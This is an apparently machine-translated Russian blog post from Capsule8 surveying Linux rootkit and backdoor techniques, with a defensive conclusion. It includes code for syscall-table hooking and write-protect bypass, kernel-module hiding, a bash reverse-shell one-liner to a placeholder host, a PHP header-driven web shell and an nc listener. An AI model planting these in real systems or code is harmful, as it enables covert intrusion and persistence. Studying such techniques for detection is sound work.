Бэкдоры на линукс


Предыдущая | Следующая

Введение

Когда дело доходит до руткитов и других бэкдоров, все готово. Существует ли уязвимость, которую можно использовать в системном двоичном файле для получения корневого доступа? Для этого есть руткит1. Вы разрешаете модули ядра? Множество гнусных вкусностей может быть частью вашей системы! Ваш новый чип сделан на стороннем заводе? Вы уловили идею.

В этом посте мы сосредоточимся на программных бэкдорах, обычно встречающихся в средах Linux, мы попытаемся выделить некоторые типичные примеры и обсудим общие методы, которые авторы бэкдоров используют для сокрытия своих вредоносных полезных данных.

Что за бэкдор?
Большинство вещей, которые являются или могут быть сохранены в системе, являются кандидатами на роль руткитов и бэкдоров - варианты ограничены только воображением и изобретательностью злоумышленников. Что еще хуже, даже в тех случаях, когда не происходит повышение привилегий до root (включение руткита), бэкдоры имеют как минимум такие же привилегии, как и соответствующая служба, компонент или пользователь, что, скорее всего, достаточно, чтобы доставить вам проблемы.

После того, как бэкдор был установлен, вы можете только надеяться, что кто-то заметит, и, учитывая множество средств для злоумышленников, чтобы закрепиться в вашей системе (от сценариев сборки и приложений пользовательского пространства до давно работающих утилит), трудно понять, где смотреть, или что искать. В конце концов, достаточно одного злоумышленника, способного установить вредоносную полезную нагрузку в какую-то часть вашей системы;). Если такой плацдарм будет создан, злоумышленники смогут получить информацию, изменить нормальную работу системы, остановить службы или предпринять другие нежелательные действия.

Программные бэкдоры и руткиты, хотя и не так сложно обнаружить, как аппаратные бэкдоры, представляют собой серьезную угрозу, используемую для государственного и корпоративного шпионажа, кражи информации, управления ботнетами и управления ими или в качестве ступеней для разведки и эксплуатации других устройств в сети.

Первые руткиты относятся к началу 1990-х годов. Эти экземпляры бэкдоров просто заменяли или изменяли файлы на жестком диске жертвы (например, заменяя программу входа в систему UNIX вредоносной). В середине 90-х руткиты ядра появились в системах Linux в виде модулей ядра, а к концу десятилетия они существовали для большинства UNIX-подобных операционных систем, таких как Solaris и FreeBSD, а также для Windows.

По мере развития руткитов злоумышленники начали разрабатывать более сложные способы изменения содержимого оперативной памяти работающего ядра или приложений, а также заражения BIOS или встроенного ПО устройства или использования технологий виртуализации и аппаратных функций в своих интересах. Сегодня руткиты и другие бэкдоры бывают разных форм и форм. В этом посте мы попытаемся обрисовать некоторые репрезентативные примеры различных типов бэкдоров и обсудить общие методы, используемые в каждом случае.

Образцы видов
В целом, бэкдоры можно разделить на четыре большие группы в зависимости от того, используют ли они уязвимости оборудования или программного обеспечения, а также в зависимости от того, работают ли они в пространстве ядра или в пространстве пользователя. В этом посте мы сосредоточимся только на программных бэкдорах и представим некоторые типичные методы для бэкдоров ядра и пользовательского пространства соответственно. План остальной части сообщения следующий:

  • Software / Kernelspace
    1. Rootkits Abusing Loadable Kernel Modules (LKM)
      • Altering System Behavior
        1. Hooking by Replacing System Calls
        2. Hooking Using Kprobes
      • Module Hiding Techniques
        1. Hiding by (ab)using debug registers
        2. Hiding the module from procfs
    2. Rootkits Directly Modifying Kernel Memory
    3. Rootkits Abusing eBPF
  • Software / Userspace
    1. Rootkits Replacing Common Utilities
    2. Rootkits Abusing ELF Metadata
    3. Module Backdoors
    4. Runtime Backdoors
    5. Script Backdoors
    6. Ptrace and inotify Hooks

Software / Kernelspace

Руткиты, злоупотребляющие загружаемыми модулями ядра (LKM)
Это самая старая и самая популярная категория руткитов ядра, встречающихся в реальных условиях. Первые руткиты (ab) с использованием модулей ядра описаны в Solar Designer, halflife, plaguez и других. Большим преимуществом руткитов на основе LKM является то, что они очень мощные, позволяя злоумышленникам делать (почти) все в системе. Их самый большой недостаток в том, что они не совместимы ни назад, ни вверх, и почти наверняка сломаются при изменении версий ядра. Более того, ошибки в коде могут иметь (очень) заметные побочные эффекты, даже приводящие к сбою системы.

Обычно основной целью руткита ядра является поддержание привилегированного доступа, чего можно достичь несколькими способами:

  • Изменение поведения системы (например, путем взлома таблиц системных вызовов или обработчиков прерываний)
  • Скрываясь
  • Скрытие других файлов, каталогов и процессов
  • Предоставление механизмов восстановления привилегий, которые могут происходить посредством:
    • Повышение привилегий для определенных пользователей или процессов
    • Запуск кейлоггеров
    • Включение удаленных подключений

В следующем разделе мы рассмотрим некоторые из основных методов, используемых руткитами на основе LKM.

Изменение поведения системы
Перехват путем замены системных вызовов

Руткит может перехватывать системные вызовы, заменяя указатели в sys_call_table. Однако для этого он должен сначала найти таблицу системных вызовов (начиная с ядер 2.6.x и далее sys_call_table не экспортируется). Для этого существуют различные методы, некоторые из которых описаны ниже:

  • Если kASLR не включен (что в наши дни случается редко2), адрес таблицы системных вызовов можно прочитать непосредственно из /boot/System.map via: grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}'
  • Если CONFIG_KALLSYMS=1 установлен в конфигурации ядра, легко получить адрес таблицы системных вызовов, запустив addr = (void *)kallsyms_lookup_name("sys_call_table");
  • В зависимости от ядра и архитектуры, таблица системных вызовов может быть получена с помощью таблицы дескрипторов прерываний и поиска шлюза прерывания системного вызова. Этот метод был впервые предложен sd & devik и используется несколькими руткитами. Давайте посмотрим, как руткит suterusu использует эту технику:
    • Для x86 код выглядит следующим образом:
1. unsigned char code;
2. asm("sidt %0":"=m" (idtr));
3. memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
4. sct_off = (idt.off2 << 16) | idt.off1;
5. memcpy(code, (void *)sct_off, sizeof(code));
6. p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);
7. if (p) { return *(unsigned long **)((char *)p + 3); }

Инструкция в строке 2 запрашивает у процессора таблицу дескрипторов прерываний, а следующая инструкция получает указатель на дескриптор прерывания int 0x80. Строка 4 вычисляет адрес точки входа int 0x80. Теперь единственное, что нужно искать, - это расположение кода операции вызова sys_call_table (, eax, 4) рядом с началом точки входа int 0x80. Это ищется по коду операции "\ xff \ x14 \ x85", который соответствует вызову шаблона <x> (, eax, 4). Строка 7 возвращает желаемый адрес.

  • Для x86_64 и ARM проделываются аналогичные трюки. Например, в x86_64 используется метод rdmsrl (MSR_LSTAR, <offset>); вместо того asm("sidt %0":"=m" (idtr));чтобы получить запись в таблице системных вызовов перед поиском соответствующего вызова (это не так тривиально, если ядра настроены на защиту Retpoline для Spectre / Meltdown).
  • Старые руткиты нашли таблицу системных вызовов, злоупотребляя тем, что sys_call_table was always between the end секции кода (init_mm.end_code) и конец секции данных (init_mm.end_data) текущего процесса. Поскольку sys_close был экспортирован ядром, и поскольку системные вызовы были упорядочены по их номерам, адрес таблицы можно было найти, просто вычтя из указателя sys_close.

Из вышеизложенного ясно, что определение адреса таблицы системных вызовов не представляет особой сложности с учетом LKM. Как только адрес таблицы системных вызовов найден, можно заменить системные вызовы на свой вкус. В зависимости от того, в какой степени злоумышленник готов пойти, можно перезаписать исходный адрес определенного системного вызова одним из своих собственных или, что более тонко, перезаписать код в самом системном вызове, чтобы он указывал на свой код.

Это не так тривиально во всех случаях (в зависимости от версии ядра и конфигурации), особенно с учетом того, что в последних ядрах память на текстовых страницах принудительно доступна только для чтения, и учитывая, что SMP требует, чтобы изменения синхронизировались по всем ядрам. Таким образом, хотя реализации во многом зависят от архитектуры, на примере архитектуры Intel x86, основная суть техники, используемой большинством руткитов, заключается в следующем:

Во-первых, если страница для таблицы системных вызовов доступна только для чтения, ее необходимо пометить как RW:

unsigned int x;
pte_t *pte = lookup_address(sys_call_table, &x);if (pte->pte &~ _PAGE_RW)
	pte->pte |= _PAGE_RW;

Впоследствии контрольный бит в CR0, который защищает память от записи, также должен быть перевернут:

unsigned long __cr0;
// per CPU code - make it preemption safe 
preempt_disable(); 
// read cr0 and flip the bit
__cr0 = read_cr0() & (~X86_CR0_WP);
// write back the new write-permission enabled bit
write_cr0(__cr0);
// replace the system call table entry
sys_call_table[__NR_system call_of_choice] = (void *)&system call_hook;
// replace the cr0 bit
__cr0 = read_cr0() | X86_CR0_WP;
write_cr0(__cr0);
// all done here
preempt_enable();

Модификация, подобная описанной выше, может быть обнаружена путем сравнения адресов в таблице системных вызовов с копией, сделанной в то время, когда система считалась незараженной. Если злоумышленники используют более изощренные методы перезаписи, обнаружение должно усиливаться и само становиться более сложным.

Помимо замены системного вызова, модуль ядра также может зарегистрировать новый, ранее не существующий системный вызов. Однако это явно менее скрытно, чем предыдущий подход к использованию существующих системных вызовов.

Подключение с помощью Kprobes

Kprobes - фантастический инструмент для отслеживания вещей в ядре и получения полезной информации о выполнении. Пользователь может установить kprobe для символов, адресов ядра, функций и т.д., а также может получить доступ к регистру и состоянию стека. По сути, если вы регистрируете kprobe, пользовательский фрагмент кода выполняется в контексте обработчика зонда, прежде чем выполнение возобновится как обычно. Обработчики Kprobe могут выполняться до или после возврата функции и иметь доступ к различным состояниям. Ясно, что это очень мощно, как указано в документации kprobe:

«Так как kprobes может исследовать работающий код ядра, он может изменять набор регистров, включая указатель команд. Эта операция требует максимальной осторожности, такой как сохранение кадра стека, восстановление пути выполнения и т. Д. Поскольку она работает на работающем ядре и требует глубоких знаний архитектуры компьютера и параллельных вычислений, вы можете легко выстрелить ».

Как и ожидалось, kprobes, а также устаревшие jprobes (другой тип механизма отслеживания) были использованы в руткитах для обеспечения скрытности. Например, зарегистрировав обработчик kprobe для системных вызовов, связанных с файлами, можно легко реализовать скрытие файлов как часть вашего руткита.

Методы сокрытия модуля
Существует множество методов, которые модули используют для сокрытия себя от системы, а также для сокрытия других вредоносных файлов, каталогов или процессов.

Скрытие (ab) с использованием регистров отладки
Техника, которая активно использовалась для сокрытия руткитов, заключается в использовании механизма отладки, присутствующего в x86. Отличный обзор этой техники представлен полуживой. Регистры отладки позволяют пользователям устанавливать аппаратные точки останова. Как только поток выполнения достигает адреса, помеченного точкой останова, он передает управление обработчику прерывания отладки, который затем вызывает do_debug() function. 

Рассмотрим сценарий, в котором вы устанавливаете точку останова на адрес таблицы системных вызовов, а затем захватываете обработчик прерывания отладки (INT 1) для вызова вашего собственного метода или заменяете метод do_debug и, таким образом, оставляете таблицу дескрипторов прерываний (IDT) неповрежденный. Это очень мощно и незаметно, так как системные вызовы, например, могут контролироваться злоумышленником, и, если все сделано грамотно, этот метод может работать, не затрагивая таблицу системных вызовов, обработчик таблицы системных вызовов или обработчик INT 80. Кроме того, если кто-то пытается обнаружить модификацию обработчика INT 1 или поместить туда свой собственный обработчик (как это сделал бы отладчик), злоумышленник может установить вторичную точку останова, чтобы отслеживать адрес своего собственного обработчика.

Скрытие с помощью манипуляций со списком и перехвата вызовов

Один из распространенных способов скрыть модуль из списка /proc/modules и lsmod заключается в простом удалении его из структуры списка модулей ядра (что не удаляет его из памяти).

Пример такой манипуляции приведен в следующем фрагменте, взятом из этого образца руткита:

// entry before the module in the kernel modules list - store so that we can restore things later
mod_list = THIS_MODULE->list.prev;
// delete this module
list_del(&THIS_MODULE->list);
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;// hide from /sys/module
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);

Подобные приемы используются, чтобы скрыть двоичные файлы от таких команд, как ps или ls. Например, если перехватить системный вызов getdent, он может заменить его своим собственным, который отслеживает команды, пытающиеся перечислить исполняемый файл, тем самым скрывая любую вредоносную активность. Один из таких примеров представлен в этом рутките.

Руткиты, непосредственно изменяющие память ядра
Внесение исправлений в ядро без использования LKM было предложено Сильвио Чезаре в его статье Runtime Kernel Patching, в которой предлагалось (ab) использовать прямой доступ к памяти в Linux, доступный через /dev/mem и /dev/kmem файлы устройства. Современные дистрибутивы Linux по умолчанию отключают этот доступ. Однако в случае CONFIG_STRICT_DEVMEM или CONFIG_DEVKMEM неправильно настроены в конфигурации вашего ядра, вся функциональность на основе LKM может быть достигнута без LKM, если у пользователя есть root-доступ (см., например, эту статью phrack от 2001 года о исправлении системных вызовов). Мы не будем вдаваться в подробности в этой категории из-за совпадения с методами LKM.

Руткиты, злоупотребляющие eBPF
Это интересная и менее изученная категория, основанная на тех же принципах, что и предыдущие: если злоумышленник получает привилегии в современной системе Linux с поддержкой eBPF, он также может использовать возможности трассировки, чтобы увидеть все в системе. как писать в память пользовательского пространства. В качестве яркого примера руткита такого типа glibcpwn внедряет разделяемые библиотеки в systemd, используя eBPF kprobes на основе bcc. В частности, функциональные возможности руткита можно обобщить по следующим пунктам:

  • Перехват системного вызова timerfd_settime, который systemd вызывает каждую минуту.
  • Вычисление смещения до начала libc отслеживая соответствующие структуры из переданных аргументов
  • Возвращение адреса возврата стека и адреса __libc_start_main относится к коду трассировщика пользовательской среды и запускает цепочку ROP.

Подобно скрытым модулям ядра, после присоединения eBPF к kprobe он может препятствовать взаимодействию процессов с ядром, выводить список программ eBPF или выводить список модулей ядра. Однако, в отличие от модулей ядра, фильтры eBPF должны быть привязаны к запущенному процессу, чтобы оставаться в живых. Тем не менее, если это процесс init, руткит может оставаться в живых, пока работает система.

Программное обеспечение / пользовательское пространство

В отличие от руткитов уровня ядра, бэкдоры в пользовательском пространстве обычно не обладают абсолютными полномочиями, но их легче написать и они несут меньший риск - они не приведут к сбою операционной системы из-за возможных ошибок или несовместимости версий.

Руткиты, заменяющие обычные утилиты

Самая старая категория руткитов пользовательского пространства - это те, которые заменяют обычные утилиты. Обычно двоичный файл, работающий с привилегиями root, заменяется или модифицируется в работающей системе. Такие руткиты можно легко обнаружить с помощью инструментов проверки целостности файлов и решений на основе сигнатур. Популярными инструментами для сканирования системы на наличие подобных инфекций являются chkrootkit и Rootkit Hunter, которые проверяют наличие известных сигнатур / модификаций, выполненных руткитами. Например, chkrootkit выполняет серию тестов в локальной системе на предмет скрытых файлов или модификаций, выполняемых их отслеживаемым списком руткитов, и перечисляет открытые соединения с номерами портов, которые, как известно, используются вредоносными программами.

Руткиты, злоупотребляющие метаданными ELF

Тщательная демонстрация бэкдора на основе метаданных представлена Шапиро и др .: Используя Cobbler, авторы продемонстрировали, что можно компилировать произвольные полезные данные в исполняемые метаданные ELF, которые затем «выполняются» загрузчиком времени выполнения ( RTLD). Чтобы обеспечить PoC бэкдора с использованием этой техники, они внедряют бэкдор на основе метаданных в двоичный файл ping inetutils v1.8 Ubuntu. Обычно ping запускает setuid от имени пользователя root и сразу же отбрасывает его привилегии root, также принимая необязательный аргумент --type для настройки типа отправляемых пакетов. Если этот аргумент указан, ping проверяет аргументы следующим образом:

if(strcasecmp(, "echo") == 0) {...}

Руткит переопределяет вызов setuid () с помощью getuid () (чтобы не вызывать заметных побочных эффектов) и отменяет вызов strcasecmp() с execl(). Это приводит к тому, что ping не отбрасывает привилегии и обрабатывает аргумент для --typeкак путь к исполняемому файлу, который нужно выполнить. Если флаг не передан, двоичный файл выполняет свои обычные функции.

Ключевые части этой реализации следующие:

  • ping сборки компилятора не знает где setuid() и strcasecmp() будет жить во время выполнения и, таким образом, создает записи в глобальной таблице смещения (GOT) исполняемого файла, которые лениво заполняются динамическим компоновщиком. Однако, если запись в таблице GOT не пуста, предоставленный адрес будет считаться местоположением соответствующей функции в памяти.
  • Руткит создает метаданные для поиска базового адреса libc затем вычислить смещения getuid() и execl(), и, наконец, исправляет GOT проверки связи, чтобы указать на них перед выполнением двоичного файла. Важная часть здесь состоит в том, что этого можно достичь, просто используя девять записей перемещения и одну запись символа, без внесения каких-либо изменений в исполняемые сегменты двоичного файла.

Модуль Backdoors

Когда вы в последний раз проверяли целостность своих модулей Apache или PHP? Программное обеспечение, поддерживающее модули, является хорошей мишенью для бэкдоров, поскольку они могут оставаться незамеченными почти всеми антивирусными или сетевыми системами IDS (поскольку, если оно написано правильно, бэкдор на веб-сервере, который приводит к трафику, отображается также как и трафик веб-сервера ). Еще одним привлекательным аспектом модулей является то, что в большинстве случаев они не зависят от платформы и могут быть легко перенесены на разные ОС и версии (например, как в случае с PHP). В этом разделе мы представляем три примера бэкдоров с использованием модулей, один для PHP и два для сервера Apache:

  • PHP-Backdoor регистрирует расширение PHP, которое перехватывает такие операции, как hash и sha1, а затем записывает входные данные для этих функций (которые в основном являются паролями). Это игрушечный пример, но он показывает, как злоумышленники могут взломать различные точки в системе для кражи информации.
  • mod_authg это модуль Apache, который просто регистрирует обработчик перехвата, который извлекает содержимое через портативную среду выполнения Apache, что по существу допускает утечку системной информации. Например, когда модуль загружен, его можно вызвать, передав /authg?c=idна целевой URL и получите ответ, подобный следующему:
HTTP/1.1 200 OK
Date: Thu, 19 Feb 2015 16:33:30 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/htmluid=33(www-data) gid=33(www-data) groups=33(www-data)
  • mod_rootme это бэкдор Apache, который может порождать корневую оболочку. При правильной настройке Apache не работает с правами root, но модуль обеспечивает root-доступ, злоупотребляя обработчиком pre-fork, в то время как процесс Apache все еще имеет права root.

Хотя вышеуказанные бэкдоры полностью лишены своего потенциала, они указывают на то, что существует множество различных точек, где система может быть взломана. Кто-то может возразить, что такие бэкдоры часто легко обнаружить через файлы конфигурации. Однако злоумышленники могут использовать более сложные методы сокрытия, такие как сокрытие вредоносных полезных нагрузок в существующих модулях или путем изменения соответствующих объектов.

Например, Bußmeyer et al. продемонстрируют, как атаковать реализации считывателей смарт-карт первого класса, используя PoC руткита на основе Javascript, который работает следующим образом: сначала они подключают соответствующие функции Javascript в js3250.dll Firefox, затем изменяют Javascript, загруженный в window.onload, чтобы каждая просматриваемая страница в контексте безопасного банковского обслуживания SSL включает вредоносный удаленный Javascript, который выполняет управляемые транзакции, скрытые от пользователя.

Бэкдоры во время выполнения

Вместо того, чтобы изменять модуль PHP или Nodejs, почему бы не использовать среду выполнения в своих интересах? Бэкдоры во время выполнения отражают технику, которая часто использовалась, когда хосты или веб-сайты являются вредоносными. Например, в «Руткитах для сред Javascript» Adida et al. продемонстрируйте, как можно изменить среду Javascript на веб-странице для кражи паролей пользователей, когда задействованы букмарклеты для входа. Букмарклеты (также известные как избранные или закладки Javascript) позволяют пользователям щелкать элемент на своей панели закладок и запускать Javascript в контексте текущей веб-страницы.

Функция букмарклета использовалась обычными менеджерами паролей и рекламой для автоматического заполнения информации о пользователях в различных формах веб-сайтов. Однако букмарклеты ничего не знают о веб-странице до тех пор, пока их код не будет выполнен на самом деле, и их выполнение является конъюнктурным. В благоприятном сценарии букмарклет напрямую взаимодействует с родной средой Javascript (рисунок 1 - слева). Однако, учитывая вредоносную веб-страницу, букмарклетом можно манипулировать, взаимодействуя с объектами Javascript злоумышленника (рис. 1 - справа).


Figure 1 [src]

Это позволяет, например, злоумышленникам украсть пароли пользователей, если они обманом заставили букмарклет использовать неправильный пароль для страницы.

Скрипты и бэкдоры конфигурации

Обратные оболочки и другие типы бэкдоров также могут быть реализованы в виде простых скриптов, выполняемых в системе. Несколько таких примеров существует в репозиториях и форумах с открытым исходным кодом, начиная от простых однострочных, таких как bash -i >& /dev/tcp/<ip>/<port> 0>&1 к полноценным скриптам или двоичным файлам. Точно так же бэкдор может быть частью ненадежного кода, запущенного на хосте. Например, веб-сайт PHP со следующим кодом, присутствующим в его кодовой базе, уязвим для удаленного выполнения команд, в котором HTTP-заголовок запроса может использоваться для отправки команд на сервер:

<?php
   if (isset($_SERVER['HTTP_CMD'])) {
       echo "<pre>" . shell_exec($_SERVER['HTTP_CMD']) . "</pre>";
   }
?>

Точно так же можно охватывать регистраторы различных типов (например, nc -vlp 80 (используя netcat для регистрации входящего трафика на порт 80). Злоумышленники также могут добиться устойчивости, изменив соответствующие файлы конфигурации или запланированные задачи, например, обновив .bashrc записи для вызова других двоичных файлов вместо системных утилит, замены общих команд с помощью псевдонимов или изменения задач cronjob, которые используются для периодического планирования пользовательских задач. Например, известное вредоносное ПО «маскировало» сценарии оболочки под файлы PNG, которые пытались заменить расписания cron различных пользователей содержимым из только что загруженных файлов, что впоследствии запускало более странных существ, таких как майнеры криптовалюты..

Приведенные выше примеры являются лишь примерами различных возможностей, открытых для злоумышленников, и аналогичные шаблоны могут применяться ко всему общедоступному коду: независимо от используемого языка программирования, бэкдоры могут быть вставлены в любой момент, от самого кода до компилятора. toolchain до этапов непрерывной интеграции и отгрузки. Как сказано в классической лекции Премии Тьюринга «Размышления о доверии»: «В какой степени следует доверять утверждению о том, что программа не содержит троянских коней? Возможно, важнее доверять людям, написавшим программу ». (или, если на то пошло, поверьте, что ваша защита во время выполнения находится в надежных руках;))

Хуки Ptrace и inotify

Находиться в пользовательском мире не означает, что вы не можете быть незаметным. Некоторые бэкдоры используют ptrace для подключения к процессу и изменения его аргументов, устанавливая точку останова на main (). Точно так же можно использовать ptrace для вызовов присоединения и клонирования, выполняя вредоносную полезную нагрузку в новом потоке внутри двоичного файла хоста. Такие методы, а также использование обработчиков inotify для размещения наблюдений за чтением в каталогах, которые имеют решающее значение для обнаружения бэкдора, известны своей популярностью.

Inotify - это механизм Linux для мониторинга событий файловой системы. Можно зарегистрировать обратные вызовы изменения файловой системы, которые срабатывают при доступе к определенным каталогам или файлам. Как только бэкдоры обнаруживают, что кто-то собирается возиться с их файлами, они могут отсоединить их от исходного местоположения, дождаться окончания обхода файла / каталога, а затем восстановить все, как будто ничего не произошло - вроде волшебного трюка.

Вывод

В этом посте мы обрисовали общие методы, используемые злоумышленниками для обеспечения устойчивости в среде выполнения. Хотя некоторым из этих методов можно помешать с помощью современных средств проверки времени выполнения и фреймворков анализа вредоносных программ, возникает повторяющаяся тема: функциональность, которая включает состояние и динамическую загрузку или выгрузку кода, может использоваться как во благо, так и во зло, а пул для новых векторов атак составляет бесконечный.

Таким образом, критически важно не только анализировать программное обеспечение на предмет таких уязвимостей, но также создавать надежные структуры динамического обнаружения и предотвращения, которые не только полагаются на известные шаблоны эксплуатации, но и могут гарантировать во время выполнения, что определяемые пользователем свойства безопасности не нарушаются. Наша цель в Capsule8 - обеспечить защиту и прозрачность, необходимые для предотвращения взлома производственных систем Linux, без снижения производительности или непреднамеренного создания новых возможностей для бэкдора (мы не используем модуль ядра по всем вышеперечисленным причинам).

 

 

 

1 Первоначально термин руткит был придуман для обозначения «набора инструментов, обеспечивающих доступ на уровне администратора к компьютеру или сети» (вспомните такие утилиты, как sed и ps). Сегодня этот термин почти исключительно относится к вредоносному ПО. В этом посте мы будем использовать термин «руткит» для обозначения любой вредоносной программы, которая сохраняет постоянство, будь то в пространстве ядра или пользователя.

2 Вы можете проверить настройки в своей системе, изучивCONFIG_RANDOMIZE_BASE и CONFIG_RANDOMIZE_MEMORY в конфигурации вашего ядра.